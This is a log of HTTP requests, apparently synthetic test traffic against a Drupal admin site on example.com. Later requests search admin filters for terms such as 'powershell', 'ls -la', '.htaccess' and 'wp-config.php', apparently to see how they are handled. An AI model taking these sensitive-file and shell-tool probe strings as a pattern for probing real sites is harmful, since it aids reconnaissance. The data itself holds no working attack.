{"method": "GET", "target": "/core/modules/ckeditor5/icons/code-block.svg", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/sites/default/files/css/css_psPaPw47aVeauGJEroVt9ZJCrdzD9yk6tjgLd9RaH3I.css?delta=0&language=en&theme=claro&include=eJx9kkFOxDAMRS9E2xUXAMGKS7iJSa1x7OIkMzCnJ50iVSzqZfyffuxvhwtGqmrPE0lFE-ARYiZ5CifCCExJMko9R2YoFByZNVy-mlY8Z4JGfNm4cyRaW4FzV-EcwlJ6qwRczpnPxlyCITpTLwiRJDmAGt1VKvAHiTMYZUieLNGNlkFScx2YxAmNqTjuhlmv-K6WwaHKorfHbpxMizYL-NZFN7WyYujLeV3AIHTFc6w_7IxdYd7kvgH8rg142s9jPCrDlkz_QA2noHlV6UmXUeBKCSqpDENV5RlsmFutKjv65_Pwjwbpf7VbgyEMhoXuuGuy5cfb8_A-2j1qv316VjY", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/core/modules/ckeditor5/icons/strikethrough.svg", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/sites/default/files/css/css_psPaPw47aVeauGJEroVt9ZJCrdzD9yk6tjgLd9RaH3I.css?delta=0&language=en&theme=claro&include=eJx9kkFOxDAMRS9E2xUXAMGKS7iJSa1x7OIkMzCnJ50iVSzqZfyffuxvhwtGqmrPE0lFE-ARYiZ5CifCCExJMko9R2YoFByZNVy-mlY8Z4JGfNm4cyRaW4FzV-EcwlJ6qwRczpnPxlyCITpTLwiRJDmAGt1VKvAHiTMYZUieLNGNlkFScx2YxAmNqTjuhlmv-K6WwaHKorfHbpxMizYL-NZFN7WyYujLeV3AIHTFc6w_7IxdYd7kvgH8rg142s9jPCrDlkz_QA2noHlV6UmXUeBKCSqpDENV5RlsmFutKjv65_Pwjwbpf7VbgyEMhoXuuGuy5cfb8_A-2j1qv316VjY", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/config/media/image-styles", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/config/development/performance", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/people", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/people/create", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/people/permissions", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/people/roles", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/reports", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/reports/dblog", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "POST", "target": "/contextual/render?theme=claro", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/admin/reports/dblog", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=entity.view.edit_form%3Aview%3Dwatchdog%3Alocation%3Dpage%26name%3Dwatchdog%26display_id%3Dpage%26langcode%3Den&tokens%5B%5D=grWQXBmsSApIJa_jk7wHiazbuliDJvCCmFVgCnqCxiM"}
{"method": "GET", "target": "/admin/reports/status", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/reports/updates", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/help", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/user", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/user/1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/user/1/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/modules/browse", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/add", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/media-grid", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "POST", "target": "/contextual/render?theme=claro", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/admin/content/media-grid", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=entity.view.edit_form%3Aview%3Dmedia_library%3Alocation%3Dpage%26name%3Dmedia_library%26display_id%3Dpage%26langcode%3Den&tokens%5B%5D=j9Y8Hgn09m7XQjCW5BfTzqp2SoYZRr5vB6MwyUrqz1w"}
{"method": "GET", "target": "/admin/content?title=hello%20world&type=All&status=All&langcode=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/people?user=hello%20world&status=All&role=All&permission=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/files?filename=hello%20world&filemime=&status=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/media?name=hello%20world&type=All&status=All&langcode=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/block?info=hello%20world&type=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/comment?subject=hello%20world&author_name=", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content?title=python3&type=All&status=All&langcode=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/people?user=python3&status=All&role=All&permission=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/files?filename=python3&filemime=&status=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/media?name=python3&type=All&status=All&langcode=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/block?info=python3&type=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/comment?subject=python3&author_name=", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content?title=powershell&type=All&status=All&langcode=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/people?user=powershell&status=All&role=All&permission=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/files?filename=powershell&filemime=&status=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/media?name=powershell&type=All&status=All&langcode=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/block?info=powershell&type=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/comment?subject=powershell&author_name=", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content?title=ls%20-la&type=All&status=All&langcode=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/people?user=ls%20-la&status=All&role=All&permission=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/files?filename=ls%20-la&filemime=&status=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/media?name=ls%20-la&type=All&status=All&langcode=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/block?info=ls%20-la&type=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/comment?subject=ls%20-la&author_name=", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content?title=.htaccess&type=All&status=All&langcode=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/people?user=.htaccess&status=All&role=All&permission=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/files?filename=.htaccess&filemime=&status=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/media?name=.htaccess&type=All&status=All&langcode=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/block?info=.htaccess&type=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/comment?subject=.htaccess&author_name=", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content?title=wp-config.php&type=All&status=All&langcode=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/people?user=wp-config.php&status=All&role=All&permission=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/files?filename=wp-config.php&filemime=&status=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/media?name=wp-config.php&type=All&status=All&langcode=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/block?info=wp-config.php&type=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/comment?subject=wp-config.php&author_name=", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content?title=docker-compose.yml&type=All&status=All&langcode=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
